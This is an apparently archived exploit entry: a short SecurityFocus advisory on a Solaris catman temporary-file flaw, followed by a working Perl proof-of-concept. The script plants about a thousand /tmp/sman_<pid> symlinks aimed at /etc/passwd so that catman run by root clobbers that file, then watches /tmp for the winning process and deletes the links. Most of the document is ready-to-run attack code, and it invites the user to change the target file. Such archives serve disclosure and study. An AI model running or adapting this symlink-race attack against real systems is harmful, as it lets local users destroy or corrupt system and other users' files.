58 lines
No EOL
2.5 KiB
Perl
Executable file
58 lines
No EOL
2.5 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2149/info
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catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.
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The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144.
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#!/usr/local/bin/perl -w
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# The problem is catman creates files in /tmp insecurly. They are based on the
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# PID of the catman process, catman will happily clobber any files that are
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# symlinked to that file.
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# The idea of this script is to create a block of symlinks to the target file
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# with the current PID as a starting point. Depending on what load your
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# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
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# The drawback is you would have to know around when root would be executing
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# catman.
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# A better solution would be to monitor for the catman process and create the
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# link before catman creates the file. I think this is a really small window
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# however. This worked on a patched Solaris 2.7 box (August 2000 patch
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# cluster)
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# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
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# lwc@vapid.betteros.org 11/21/2000 Vapid Labs.
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# http://vapid.betteros.org
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$clobber = "/etc/passwd"; #file to clobber
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$X=getpgrp();
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$Xc=$X; #Constant
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$Y=$X+1000;#Constant
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while($X < $Y) {
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print "Linking /tmp/sman_$X to $clobber :";
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# Change $clobber to what you want to clobber.
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if (symlink ($clobber, "/tmp/sman_$X")) {
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print "Sucess\n";
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}
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else { print "failed, Busy system?\n";}
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$X=$X+1;
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}
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#Watch /tmp and see if catman is executed in time.
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while(1) {
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$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
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open (list,$list) or "die cant open ls...\n";
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while(<list>) {
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@args = split "_",$_;
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chop ($args[1]);
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if ($args[1] >= $Xc && $args[1] <= $Y){
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print "Looks like pid $args[1] is the winner\n cleaning....\n";
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`/usr/bin/rm -f /tmp/sman*`;
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exit(1);
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}
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}
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} |